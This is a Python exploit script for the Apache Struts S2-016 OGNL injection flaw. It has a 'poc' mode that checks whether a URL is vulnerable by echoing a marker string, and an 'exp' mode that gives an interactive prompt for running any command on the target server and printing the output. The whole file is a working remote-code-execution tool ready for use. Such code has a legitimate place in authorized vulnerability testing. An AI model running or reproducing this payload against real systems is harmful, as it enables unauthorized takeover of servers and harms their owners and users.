import requests
import argparse
from urllib.parse import quote

def poc(url):
    payload = """${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("CMD").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}""".replace("CMD", "echo mingy")

    resp = requests.get(f"{url}/index.action?redirect:" + quote(payload))
    
    if 'mingy' in resp.text:
        print(f">>> 存在S2-016漏洞: {url}")
        return True
    return False

def exp(url):
    while True:
        cmd = input("cmd>>> ")
        if cmd == "quit" or cmd == "exit":
            break
        payload = """${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("CMD").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}""".replace("CMD", cmd)
        
        resp = requests.get(f"{url}/index.action?redirect:" + quote(payload))
        print(resp.text)

def main():
    p = argparse.ArgumentParser(description='S2-016 EXP/POC -- By MINGY')
    p.add_argument('-u', dest='url', type=str, help="URL to test")
    p.add_argument('-m', dest='model', choices=['poc', 'exp'], type=str, help="model")
    args = p.parse_args()
    
    if not args.url:
        print("please set url, -u url")
        return
    if not args.model:
        print("please set model, -m poc/exp")
        return
        
    if args.model == 'poc':
        poc(args.url)
    elif args.model == 'exp':
        exp(args.url)

if __name__ == '__main__':
    main()
